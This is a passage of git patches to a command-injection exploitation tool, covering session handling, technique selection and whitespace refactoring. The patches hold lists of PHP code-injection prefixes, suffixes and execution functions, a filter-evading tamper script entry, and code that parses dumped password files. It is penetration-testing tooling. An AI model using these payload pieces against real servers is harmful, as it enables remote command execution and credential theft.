2001 From: stasinopoulos Date: Wed, 26 Oct 2022 07:02:45 +0300 Subject: [PATCH 201/560] Minor improvement regarding session handler. --- doc/CHANGELOG.md | 1 + src/core/main.py | 12 ++++++++++++ src/utils/menu.py | 2 +- src/utils/session_handler.py | 10 ++++++++++ src/utils/settings.py | 3 +-- 5 files changed, 25 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d13a211a1d..164007d512 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Revised: Minor improvement regarding session handler. * Revised: Minor improvement regarding `--wizard` option. * Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). diff --git a/src/core/main.py b/src/core/main.py index e0fc610dc1..e643d100c4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -401,6 +401,18 @@ def main(filename, url): if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel + if not menu.options.ignore_session and not menu.options.flush_session: + if session_handler.applied_techniques(url, http_request_method): + if not menu.options.tech: + menu.options.tech = session_handler.applied_techniques(url, http_request_method) + else: + menu.options.tech = list(menu.options.tech) + _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} + menu.options.tech.sort(key=lambda x:_[x]) + menu.options.tech = ''.join(menu.options.tech) + else: + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + # Check for skipping injection techniques. if menu.options.skip_tech: settings.SKIP_TECHNIQUES = True diff --git a/src/utils/menu.py b/src/utils/menu.py index 72f39ec060..4fab4f266a 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -441,7 +441,7 @@ def banner(): injection.add_option("--technique", action="store", - default="cetf", + default="", dest="tech", help="Specify injection technique(s) to use.") diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index c970cd8b33..07acfa74c6 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -137,6 +137,10 @@ def injection_point_importation(url, technique, injection_type, separator, shell def applied_techniques(url, http_request_method): try: conn = sqlite3.connect(settings.SESSION_FILE) + if not menu.options.tech: + applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\ + "ORDER BY id DESC;") + if settings.TESTABLE_PARAMETER: applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ @@ -208,6 +212,11 @@ def injection_point_exportation(url, http_request_method): result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ table_name(url) + "_ip' AND type = 'table';") if result: + # if not settings.USER_SUPPLIED_TECHNIQUE: + # for session in result: + # check_injection_technique = menu.options.tech = session[0][:1] + # select_injection_type = session[1][:1].capitalize() + # else: if menu.options.tech[:1] == "c": select_injection_type = "R" elif menu.options.tech[:1] == "e": @@ -223,6 +232,7 @@ def injection_point_exportation(url, http_request_method): check_injection_technique = "d" else: check_injection_technique = menu.options.tech[:1] + if settings.TESTABLE_PARAMETER: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ diff --git a/src/utils/settings.py b/src/utils/settings.py index 07c61cd82b..f5350f9f52 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -594,7 +594,6 @@ def sys_argv_errors(): # Available injection techniques. AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ] - SKIP_TECHNIQUES = False # User Agent List From 7658e0116fbb524046048f6ec67c36fb65f8e597 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 27 Oct 2022 09:01:22 +0300 Subject: [PATCH 202/560] Improvements regarding dynamic code evaluation heuristic check. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 6 ++++-- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 164007d512..a36c15ea89 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Revised: Improvements regarding dynamic code evaluation heuristic check. * Revised: Minor improvement regarding session handler. * Revised: Minor improvement regarding `--wizard` option. * Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 070f512b3d..9b0358a7bd 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -366,9 +366,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: + if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + + if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: diff --git a/src/utils/settings.py b/src/utils/settings.py index f5350f9f52..7a68c86432 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6f5a1f3a9ea06cc84353cd257bd29766c40a3f1a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 28 Oct 2022 10:19:54 +0300 Subject: [PATCH 203/560] Minor update --- src/core/main.py | 7 +++++++ src/utils/settings.py | 22 +++++++++++++++------- 2 files changed, 22 insertions(+), 7 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index e643d100c4..e9f8ea55f6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -345,18 +345,25 @@ def main(filename, url): settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index) elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index) elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL3), key=settings.EVAL_SEPARATORS_LVL3.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL3), key=settings.EXECUTION_FUNCTIONS_LVL3.index) + else: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." diff --git a/src/utils/settings.py b/src/utils/settings.py index 7a68c86432..d52253cd51 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -454,20 +454,28 @@ def sys_argv_errors(): JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] # Execution functions -EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] +EXECUTION_FUNCTIONS = [] +EXECUTION_FUNCTIONS_LVL1 = ["exec"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"] # The code injection separators. -EVAL_SEPARATORS = ["", "%0a", "%0d%0a"] +EVAL_SEPARATORS = [] +EVAL_SEPARATORS_LVL1 = [""] +EVAL_SEPARATORS_LVL2 = EVAL_SEPARATORS_LVL1 + ["%0a"] +EVAL_SEPARATORS_LVL3 = EVAL_SEPARATORS_LVL2 + ["%0d%0a"] # The code injection prefixes. EVAL_PREFIXES = [] -EVAL_PREFIXES_LVL1 = ["{${", "'.", ".", ")'}", "');}"] -EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] +EVAL_PREFIXES_LVL1 = ["{${", "'.", "."] +EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"] +EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. EVAL_SUFFIXES = [] -EVAL_SUFFIXES_LVL1 = ["}}", ".'", "'#", ""] -EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + [".\"", "\\\\", "//", ")}", "#"] +EVAL_SUFFIXES_LVL1 = ["}}", ".'", ""] +EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"] +EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] # The default (url-ecoded) white-space. WHITESPACES = ["%20"] From 40e973669f74655a41a9043f2bcb8fc995c27df8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 31 Oct 2022 09:01:37 +0200 Subject: [PATCH 204/560] Minor update --- .../results_based/techniques/classic/cb_injector.py | 4 ++-- src/utils/crawler.py | 2 ++ src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index e12d3d9e62..c975e8dd7e 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -48,8 +48,8 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: - if " " in payload: - payload = payload.replace(" ","%20") + if settings.SINGLE_WHITESPACE in payload: + payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index c0952f3cd4..808ad39777 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -255,6 +255,8 @@ def no_usable_links(crawled_hrefs): The crawing process. """ def do_process(url): + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) identified_hrefs = False if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index d52253cd51..8e96fc6793 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8d1869543f062d81d1fc8c8215742657b890fddb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 1 Nov 2022 07:38:01 +0200 Subject: [PATCH 205/560] Minor update --- .../injections/results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index cbe27dfb02..a3543ac920 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -176,7 +176,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)" + info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0d13640ab7..0fcf0557d2 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -187,7 +187,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)" + info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() diff --git a/src/utils/settings.py b/src/utils/settings.py index 8e96fc6793..5acf457f74 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8803b67f2f4b45544b207a1e906d503d525a1585 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 2 Nov 2022 07:18:57 +0200 Subject: [PATCH 206/560] Minor refactoring --- .../blind/techniques/time_based/tb_handler.py | 16 ++++----- .../techniques/time_based/tb_injector.py | 2 +- src/core/injections/controller/checks.py | 18 +++++----- src/core/injections/controller/controller.py | 20 +++++------ .../injections/controller/shell_options.py | 2 +- .../techniques/classic/cb_enumeration.py | 2 +- .../techniques/classic/cb_handler.py | 12 +++---- .../techniques/classic/cb_injector.py | 10 +++--- .../techniques/classic/cb_payloads.py | 4 +-- .../techniques/eval_based/eb_enumeration.py | 12 +++---- .../techniques/eval_based/eb_handler.py | 16 ++++----- .../techniques/eval_based/eb_injector.py | 6 ++-- .../techniques/eval_based/eb_payloads.py | 2 +- .../techniques/file_based/fb_handler.py | 8 ++--- .../techniques/file_based/fb_injector.py | 6 ++-- .../techniques/file_based/fb_payloads.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 16 ++++----- .../techniques/tempfile_based/tfb_injector.py | 2 +- src/core/modules/shellshock/shellshock.py | 6 ++-- src/core/requests/authentication.py | 2 +- src/core/requests/requests.py | 36 +++++++++---------- src/core/shells/bind_tcp.py | 4 +-- src/core/shells/reverse_tcp.py | 4 +-- src/core/tamper/sleep2timeout.py | 2 +- src/utils/logs.py | 4 +-- src/utils/session_handler.py | 2 +- src/utils/settings.py | 2 +- src/utils/update.py | 2 +- 28 files changed, 110 insertions(+), 110 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index d46c641daf..dd5077ab1f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -57,7 +57,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r how_long = 0 if settings.VERBOSITY_LEVEL != 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) # Check if defined "--maxlen" option. @@ -230,7 +230,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -277,19 +277,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue # if settings.VERBOSITY_LEVEL == 0: - # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + # info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) # sys.stdout.flush() @@ -311,7 +311,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: @@ -358,7 +358,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -390,7 +390,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 06f550309a..e4615528d2 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -339,7 +339,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, output = "".join(str(p) for p in output) # Check for empty output. - if output == (len(output) * " "): + if output == (len(output) * settings.SINGLE_WHITESPACE): output = "" else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index dea83e2c3f..82db7ee90c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -962,11 +962,11 @@ def check_skipped_params(check_parameters): """ def print_non_listed_params(check_parameters, http_request_method, header_name): if settings.TEST_PARAMETER: - testable_parameters = ",".join(settings.TEST_PARAMETER).replace(" ","") + testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE,"") testable_parameters = testable_parameters.split(",") non_exist_param = list(set(testable_parameters) - set(check_parameters)) if non_exist_param: - non_exist_param = ",".join(non_exist_param).replace(" ","") + non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE,"") non_exist_param = non_exist_param.split(",") if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: @@ -1510,7 +1510,7 @@ def is_empty(multi_parameters, http_request_method): pass elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ - re.findall(r'>(.*)<', empty)[0] == " ": + re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: empty_parameters.append(re.findall(r'', empty)[0]) elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) @@ -1630,7 +1630,7 @@ def check_similarities(all_params): if param == all_params[param]: parameter_name = param all_params[param] = param + settings.RANDOM_TAG - all_params = [x.replace(" ", "") for x in json.dumps(all_params).split(", ")] + all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] else: for param in range(0, len(all_params)): if settings.IS_XML: @@ -1878,10 +1878,10 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi try: if sys_users: sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : + if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 : sys_users = sys_users.split("\n") else: - sys_users = sys_users.split(" ") + sys_users = sys_users.split(settings.SINGLE_WHITESPACE) # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " @@ -1981,8 +1981,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi """ def print_passes(sys_passes, filename, _, alter_shell): if sys_passes == "": - sys_passes = " " - sys_passes = sys_passes.replace(" ", "\n").split() + sys_passes = settings.SINGLE_WHITESPACE + sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split() if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) @@ -2201,7 +2201,7 @@ def check_file_to_write(): if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] + content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9b0358a7bd..70723645de 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -133,7 +133,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" - technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" + technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: try: @@ -226,7 +226,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met settings.CLASSIC_STATE = False else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) # Check if it's exploitable via dynamic code evaluation technique. @@ -258,11 +258,11 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho settings.EVAL_BASED_STATE = False else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) # Check if it's exploitable via time-based command injection technique. @@ -278,7 +278,7 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m settings.TIME_BASED_STATE = False else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) # Check if it's exploitable via file-based command injection technique. @@ -294,7 +294,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m settings.FILE_BASED_STATE = False else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) """ @@ -325,7 +325,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) - if check_parameter.startswith(" "): + if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" the_type = "HTTP header" check_parameter = " '" + check_parameter.strip() + "'" @@ -547,7 +547,7 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters = cookie_parameters_list # Remove whitespaces - cookie_parameters = [x.replace(" ", "") for x in cookie_parameters] + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] check_parameters = [] for i in range(0, len(cookie_parameters)): @@ -651,7 +651,7 @@ def post_request(url, http_request_method, filename, timesec): found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] else: # Remove whitespaces - found_parameter = [x.replace(" ", "") for x in found_parameter] + found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] # Check if multiple parameters check_parameters = [] @@ -744,7 +744,7 @@ def basic_level_checks(): # Custom header Injection if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index da7f6ae346..febae03580 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -66,7 +66,7 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) else: whitespace = settings.WHITESPACES[0] - if whitespace == " ": + if whitespace == settings.SINGLE_WHITESPACE: whitespace = 